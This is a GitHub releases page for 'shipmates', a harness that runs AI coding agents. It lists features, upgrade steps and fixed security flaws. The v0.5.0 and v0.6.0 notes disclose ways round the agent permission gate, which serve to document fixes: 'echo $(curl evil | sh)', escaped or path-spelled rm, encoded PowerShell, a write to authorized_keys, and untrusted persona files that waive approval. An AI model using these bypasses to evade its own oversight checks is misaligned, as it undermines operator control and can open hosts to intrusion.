Repository navigation
Releases: luthermonson/shipmates
Release list
v0.7.1
Polish for shipmates doctor (issue #62), from the v0.7.0 review. No behavior
changes to anything else, no config changes. Get the binary the same way as
before (see the v0.6.0 notes; go install remains blocked by the remotedialer
replace).
shipmates doctor fixes
- A malformed
shipmates.yamlnow reports one clear failure. Previously it
produced a FAIL mislabeled under the Fleet group (even with no fleet
configured), a duplicate FAIL on runtime selection, and a swallowed Beads
parse error. It's now a single FAIL — "project config (shipmates.yaml)" — in
the Config group, with a fix hint. - More honest supervisor status. The systemd check recognizes
masked/
enabled-runtime(and reports genuinely-unknown states as a warning rather
than a false OK); the Windows Scheduled Task check reads the task's Status
field instead of an English-only substring, so a disabled task on a localized
Windows host is no longer reported as fine. - Hardening. Added a test asserting the captain bearer token never appears in
any rendered output, and aligned theship.yamlpath check with the
home-directory guard the other config checks use.
The command's core guarantees are unchanged and re-verified: strictly read-only,
and it never prints a secret. govulncheck reports 0 affected vulnerabilities.
Discord chat remains experimental pending a live smoke test.
v0.7.0
Adds shipmates doctor. No breaking changes. Get the binary the same way as
before (see the v0.6.0 notes; go install is still blocked by the remotedialer
replace).
shipmates doctor
A read-only diagnostic that checks the external tools and config surfaces
shipmates depends on and reports OK / WARN / FAIL with a fix hint for each —
the checks you'd otherwise run by hand when a setup misbehaves. It exits
non-zero only if something genuinely can't work, so it's usable in a pre-flight
or CI hook.
What it checks, grouped:
- Toolchain —
claudeon PATH (a FAIL if missing — it's the hard
dependency),git, andbd(only expected when Beads is configured). - Config — your
~/.shipmates/files parse cleanly (config.yaml,
ship.yaml,personas.yaml,discord.yaml); the selected runtime is usable
(foropenai:base_urlset,api_key_envpopulated, no plaintext endpoint);
configured secret env vars are present. - Ship — captain session files have safe (0600) permissions, whether a
captain is currently running, and whether the ship supervisor is installed for
your OS. - Fleet (only if configured) — the fleet URL is
https/loopback, the token
is set, and the policy cache is present. - Personas — installed personas resolve, and it flags any whose checkout
tries to set operator-only keys.
FAIL (the only status that exits non-zero) is reserved for genuinely broken
or insecure states: claude missing, a malformed config file, a selected
runtime that can't initialize, or a plaintext fleet URL to a non-loopback host.
Everything optional or degraded is a WARN; an absent config is just info.
It is strictly read-only — it never creates, changes, or deletes anything, never
starts a process beyond a health probe, and never prints a secret (env vars
are reported set/unset by name only).
govulncheck reports 0 affected vulnerabilities.
Known follow-ups
Minor doctor polish is tracked in #62 (a malformed shipmates.yaml is
mislabeled under the Fleet group; per-OS supervisor-status parsers for a few
edge states). Discord chat remains experimental pending a live smoke test.
v0.6.1
A cross-platform hardening patch. No new features, no config changes — three
correctness/safety fixes found by a sweep for the bug class v0.6.0's CI exposed:
code verified on the Windows dev box that behaves differently on the Linux/macOS
fleet. Get the binary the same way as before (see the v0.6.0 notes; go install
is still blocked by the remotedialer replace).
Fixes
-
Containment now bounds the whole process tree on Linux/macOS, not just the
root process. The resource watchdog measured RSS/CPU for only the top-level
process, while it killed the whole process group and the Windows Job Object
already enforced memory tree-wide. So a tool subprocess that hogged memory or
spun could slip past the cap on Linux/macOS — masked on Windows, where the
kernel enforces it. The Unix samplers now sum usage across the child's process
group, matching the scope that's killed. (This is a security control that was
silently under-enforcing.) -
The server's live-crew spawn no longer drops the final result frame or leaks
processes.spawnCrewLiveusedcmd.StdoutPipe/StderrPipewith a
concurrentcmd.Wait()— the same teardown race fixed in the runtime adapters
in v0.5.0, but missed in the server's own path. On the resume path it could
drop a mate's finalresultevent (cost/model) and truncate stderr; and the
child was reaped only on one path, leaking a zombie/handle on every fresh
spawn over a long-running ship. The server now owns the pipes and reaps every
child with drain-then-close ordering. -
Brig path denies can no longer be case-evaded on UNC network shares. The
matcher's case-insensitive fold fired only for drive-letter paths (C:\), so a
UNC path (\\server\share\...) on a Windows ship with a network-share checkout
was matched case-sensitively — a deny likeWrite(**/.claude/settings.json)
wouldn't fire against...\.CLAUDE\settings.json. UNC paths are now normalized
and case-folded like drive-letter paths on any host.
govulncheck reports 0 affected vulnerabilities.
Not in this release
A few lower-severity stragglers of the same classes are tracked for later:
cross-OS update manifest keys, two unconditional case-folds
(berth.CurrentIsBerth, ship.AddProject), and a possible macOS ps args
truncation in the test-watchdog script. Discord chat remains experimental
(its live gateway wire is still unverified against a real bot).
v0.6.0
Two new capabilities — Discord chat and a Linux supervisor installer — plus a
round of security and reliability hardening. No breaking config changes; a few
Windows-only behavior changes are noted below.
Getting the binary
This is about obtaining the shipmates executable. (It's unrelated to the
shipmates ship install subcommand below, which registers the supervisor as a
service once you already have the binary.)
Two ways work:
-
Download a release build from the assets below —
shipmates_0.6.0_<os>_<arch>.tar.gz(macOS/Linux) or.zip(Windows). The
persona catalog is embedded, so the single executable is all you need:tar -xzf shipmates_0.6.0_linux_amd64.tar.gz shipmates sudo mv shipmates /usr/local/bin/ shipmates --version
-
Build from source:
git clonethe repo andgo build -o shipmates ..
go install github.com/luthermonson/shipmates@v0.6.0 does not work this
release, and this is the only acquisition method affected: shipmates pins a
fork of rancher/remotedialer (an unmerged data-race fix) via a replace
directive, and Go refuses to go install a module carrying replace directives.
Use either method above until
rancher/remotedialer#265
merges upstream and the replace can be dropped.
Features
Linux ship install (systemd)
shipmates ship install now works on Linux, completing the trio alongside the
Windows Scheduled Task and macOS launchd agent. It writes a systemd user unit
(~/.config/systemd/user/shipmates-ship.service), reloads, and enables it. Two
Linux-specific details are handled for you: the install-time PATH is baked into
the unit (a --user unit does not inherit your login shell env, so otherwise
ship serve couldn't find claude/git), and loginctl enable-linger is
enabled best-effort so the ship survives logout — if linger can't be set it warns
and continues rather than failing the install. shipmates ship uninstall removes
the unit; it leaves linger alone.
Discord chat (experimental)
shipmates discord connects your crew to Discord: an allowlisted message in a
mate's channel is delivered to that mate as a tell, and the mate's replies post
back as its own bot. Multi-bot is supported — each mate can speak as a distinct
Discord bot in its own channel, configured in ~/.shipmates/discord.yaml, with an
optional all-hands channel that mirrors every mate's output. Bot tokens are named
by env vars, never stored in the config file (the same operator-owned-secret rule
as the OpenAI runtime and personas). A single-bot mode via env vars works with no
config file.
Security throughout: the inbound allowlist is fail-closed, Discord text is treated
as data (never interpreted as a command), outbound @everyone/@here/mention
strings are stripped (plus AllowedMentions: none), mate output is run through the
terminal-escape scrubber, and the transport authenticates to the captain API with
its per-run bearer token.
Marked experimental: the code is complete and unit-tested, but the live
Discord wire (gateway connect, message delivery, posting) requires a real bot in a
server to exercise — see docs/discord.md for the setup and smoke-test steps.
Security & hardening
- Permission-gate residual bypasses closed. Shell here-strings
(bash <<< '…') and PowerShell-Command/-EncodedCommand(base64/UTF-16LE,
now decoded) are evaluated as their own command lines instead of laundering an
inner command past a deny rule. Windows-specific gaps found in review are also
fixed: a backslash-spelled interpreter path
(C:\…\powershell.exe) is now canonicalized so extraction still applies, and
unquoted multi-token / colon-value-Commandforms are handled. Malformed
-EncodedCommandfails closed. - Brig article Windows parity. Articles that previously guarded only Unix paths
(/etc/**) now also cover the Windows equivalents (C:\Windows\**, the Startup
folder), and path matching for volume-rooted Windows paths is now
case-insensitive — soc:\windows\…can no longer walk past aC:/Windows/**
deny. - Bead-id validation unified. A third, divergent bead-id validator that lacked
the..traversal check now delegates to the sharedinternal/beadidrule,
closing the gap without rejecting any real bd id. govulncheckreports 0 affected vulnerabilities.
Reliability & tooling
- Memory-watchdog test runner (
scripts/safe-test.{ps1,sh}, documented in
CONTRIBUTING.md). It runs the suite and kills any*.testchild that crosses a
memory cap, so a runaway test can't take the machine down — with a Linux fix
(match onargv[0], not the 15-char-truncatedcomm) so packages like
permissionsaren't silently uncovered. Contributors should run tests through it;
it also documents the rule that a bound must never be verified by disabling it and
running unbounded.
Windows behavior changes (not breaking, but notable)
- Path deny rules on volume-rooted Windows paths now match case-insensitively.
- Backslash-spelled interpreter invocations are now subject to the same command
extraction as forward-slash ones.
These only tighten enforcement; legitimate commands are unaffected.
v0.5.0
Voyages, the Brig, multi-runtime selection — and a security pass that changed
where several settings are allowed to live. Read the upgrade steps first:
this release deliberately breaks configurations that were unsafe, and some of
them fail closed at startup rather than warning.
Installing
Download a prebuilt binary from the assets below — shipmates_0.5.0_<os>_<arch>.tar.gz
(macOS/Linux) or .zip (Windows). The persona catalog is embedded, so the single
executable is all you need.
tar -xzf shipmates_0.5.0_linux_amd64.tar.gz shipmates
sudo mv shipmates /usr/local/bin/
shipmates --versiongo install github.com/luthermonson/shipmates@v0.5.0 does not work this
release: shipmates pins a fork of rancher/remotedialer (carrying an unmerged
data-race fix) via a replace directive, and Go refuses to go install a module
with replace directives. Use a release binary or a source build
(git clone + go build -o shipmates .) until
rancher/remotedialer#265
merges upstream.
⚠️ Upgrade steps
Work through these before restarting a ship or a fleet.
1. Persona execution config moves out of the checkout
backend, command, cwd and dangerouslySkipPermissions are no longer read
from a persona file (.claude/agents/<persona>.md) or from a crew: block in
shipmates.yaml. Both arrive with git clone, so on an unreviewed repository
they were attacker-controlled — and they decided which executable shipmates
spawned and whether a human approved it.
They now live in ~/.shipmates/personas.yaml — the operator's own file,
outside every checkout — keyed by persona name:
personas:
aider:
backend: command
command: [aider, --model, gpt-5]
cwd: /home/you/src/thingIf you run a command-backed mate (opencode, aider, …), move its config now.
Starting a persona whose checkout still asks for backend:/command: fails
the spawn with an explicit error rather than quietly launching claude instead.
Every refused key is logged with the file, the key, and where it must live.
permissions.mode stays repo-supplied but is bounded to ask, acceptEdits,
plan, default — an allowlist, so bypassPermissions and any mode invented
later are refused by default. No shipped catalog persona is affected.
2. The captain API now requires a credential
The ship's local HTTP server authenticates every route except GET /health.
The token is minted per run and written to .shipmates/sessions/server.token
(0600), alongside the port and pid files, which are now also 0600.
The CLI, shipmates bridge, the supervisor and the fleet were all updated. If
you have your own script that curls the captain port, it must now send
Authorization: Bearer <token> read from that file. Requests carrying an
Origin header or Sec-Fetch-Site: cross-site are refused outright, and
JSON endpoints require Content-Type: application/json.
3. A token-less fleet on a non-loopback address refuses to start
Previously an empty SHIPMATES_FLEET_TOKEN meant every request was allowed
through, logged as a single auth=false line. Combined with --addr 0.0.0.0
that exposed tells, PTY input and permission resolves to the network. Binding
anything other than loopback without a token is now a startup error.
4. Plaintext fleet URLs are refused
An http:// or ws:// fleet URL pointing at a non-loopback host is rejected —
it put the bearer token on the wire in cleartext and let a man in the middle
serve an empty deny list. There is no opt-out flag. Put TLS in front of the
fleet and use https://. http://127.0.0.1:8443 and localhost remain legal
for local development.
5. Everyone re-logs-in to the fleet UI once
The session cookie now carries an HMAC-derived session id instead of the fleet's
shared secret. Existing cookies are not valid. If Fleet Command sits behind a
TLS-terminating proxy, set SHIPMATES_FLEET_TRUST_PROXY=1 so
X-Forwarded-Proto is honoured and the cookie is marked Secure — without it
the fleet logs a warning and leaves the cookie unmarked, because blindly
trusting that header would let any client claim TLS.
6. find now prompts
find and env were removed from the auto-allowed read-only builtins: both
execute a program named in their own arguments (find -exec, env CMD), so
they could never be judged safe on the head token alone. If this is noisy for
you, add a narrowly scoped allow rule rather than putting them back.
Security
A full review of the trust boundaries between a checkout, a ship, and the fleet.
Four high-severity issues, all fixed:
- Arbitrary code execution from
git clone. A persona file in a checkout
could name the executable to spawn and waive the permission gate. Enforcement
is now structural — the repo-supplied structs have no fields for those
settings, so there is nothing for a hostile file to decode into. - Request-line injection through the fleet proxy. URL segments are
percent-decoded by the router and were interpolated raw into a hand-built
HTTP request to the captain, so a CR/LF in a persona name could rewrite the
request and reach any captain endpoint. Segments are now validated and escaped,
with a framing check as a backstop. - The captain API was unauthenticated and CSRF-able. Loopback is not a
permission: any local process could drive it, and any web page the operator
visited could POST to it without a preflight. See upgrade step 2. - The permission gate could be bypassed with shell metacharacters.
cat notes > ~/.ssh/authorized_keyswas auto-allowed with no prompt, because
compound splitting ignored newlines and redirection and only the first token
was inspected.
Also fixed, from the same review:
- The fleet deny list failed open on restart. The policy lived only in
memory, so a ship booting while Fleet Command was unreachable ran every mate
with no fleet-wide deny list at all — retrying only every five minutes, behind
a singleWARN. Policies now persist to a 0600 cache and are re-applied
before the first fetch; running with no policy in force is anERRORand
retries every 15s. - Persona path traversal on the captain's own handlers — an encoded
..
reached the filesystem helpers, giving arbitrary-location reads and a
.sessionfile write. Validated at every handler entry and inside the path
helpers themselves. - XSS in the fleet UI reachable from GitHub-derived bead text and from a
ship's advertised repo URL, on the origin that holds the session secret. - Permission rules judged a spelling, not a command —
echo $(curl evil | sh)
andeval '…'laundered past an allow rule, and\rm,command rm,
exec rm,/bin/rmevaded aBash(rm *)deny. Substitution bodies and
-cscripts are now evaluated as their own command lines; deny matching
normalises the head token. Path rules are cleaned before matching, so
.claude/foo/../settings.jsonno longer evades a Brig article. - Secrets exposure: the fleet token is no longer passed in the environment of
acurl-capable model session, andBash(curl:*)was dropped from it. - Unbounded request bodies and an unbounded in-memory event log are now capped;
session markers are 0600; ship-derived text is scrubbed of terminal escapes
before being printed by the CLI. - Reachable CVEs cleared by moving to Go 1.26.6 and
golang.org/x/netv0.55.0.
govulncheckreports 0 affected vulnerabilities.
Keystroke logging (SHIPMATES_BRIDGE_KEYLOG) is opt-in and now documented,
including that it records everything typed, secrets included.
Reliability
- A process-teardown race could lose or retype a terminal event. Both the
claude and codex adapters usedcmd.StdoutPipe/StderrPipewhile the
supervisor calledWaitconcurrently — the usageos/execdocuments as
incorrect.Waitclosed the pipes as it reaped the child, discarding buffered
output, so an auth failure (Invalid API key · Please run /login) could reach
the operator as a bare exit code, or the payload could change type from
Terminalto a string. Both packages now own their pipes and close them only
after the readers finish. - A data race in the tunnel dialer (
Session.pingCancel/connection.err)
could panic a ship under a reconnect storm. Fixed via the pinned
remotedialerfork; the fix is upstream in
rancher/remotedialer#265.
Features
- Voyages —
plan,commissionandsail, with thefirst-matepersona,
a model ladder, tracker integration and structured recovery. - The Brig — fifteen Ship's Articles enforced in the permission kernel,
withfreeze/releaseand a denial log. - Multi-runtime —
--runtime claude|codex|openaiacross the command surface,
with portable containment. - Hostile-input GitHub routing — GitHub text is treated as data, not
instructions; seedocs/security.md.
Docs
docs/security.md is new. The README's command surface, configuration and crew
tables were corrected against the actual CLI, and several examples that could not
have worked were fixed.
v0.4.0
v0.3.2
v0.3.1
Changelog
- 3818019 Merge pull request #10 from luthermonson/feat/session-auto-repair-fixes
- 0e705ed Merge pull request #11 from luthermonson/feat/local-show-command
- d86a040 Merge pull request #8 from luthermonson/feat/attach-ui-cleanup
- 0d22a21 Merge pull request #9 from luthermonson/feat/session-auto-repair
- 77b3d44 feat: add
shipmates show— local file-attach counterpart to tell - 1c1dcad feat: auto-repair stale claude session markers on live-crew spawn
- 57589c1 fix(ui): collapse attach buttons — one Attach on desktop, Attach + Camera on mobile
- d0dd919 fix: session auto-repair — deadlock, timeout, and stale-detection reliability
v0.3.0
Changelog
- 9b97555 Merge pull request #3 from luthermonson/feat/fleet-command-rename
- 891494f Merge pull request #5 from luthermonson/feat/permissions-inheritance
- 491ac04 Merge pull request #7 from luthermonson/feat/attach-binary-payloads
- 6e34ad7 feat: add
shipmates fleet showCLI command as tell/say-style attach - 9d2064e feat: binary attach — Admiral drops photos/files to captains via Fleet Command UI
- 7e61297 feat: permission model phase 1+2 — Claude Code config inheritance + fleet-native policies
- 728ec16 refactor: bridge to Fleet Command, lead to Captain, add Commodore identity
v0.2.0
Shipmates grows from personas-with-memory into a fleet platform.
- Bridge: outbound-tunnel rendezvous, web UI, auth, event mirror
- Live PTY terminals in the browser (ConPTY, mode replay, writer locks)
- Status dots + permission gate across the fleet
- Beads work graph: fleet sync (~4s nudge), cross-ship dispatch, full CRUD from the UI, gh↔beads seam via external_ref
- Ship supervisor:
shipmates ship serve|install— one daemon per host, leads at logon - Headless timeline: structured stream-json rendering with per-turn cost
- Voice bridge: whisper.cpp STT → pluggable brain (OpenAI-compatible or
claude -pon your subscription) → Kokoro/Edge TTS; hands-free conversation mode leadPersona:config — themed coordinators (picard, coach) front their ships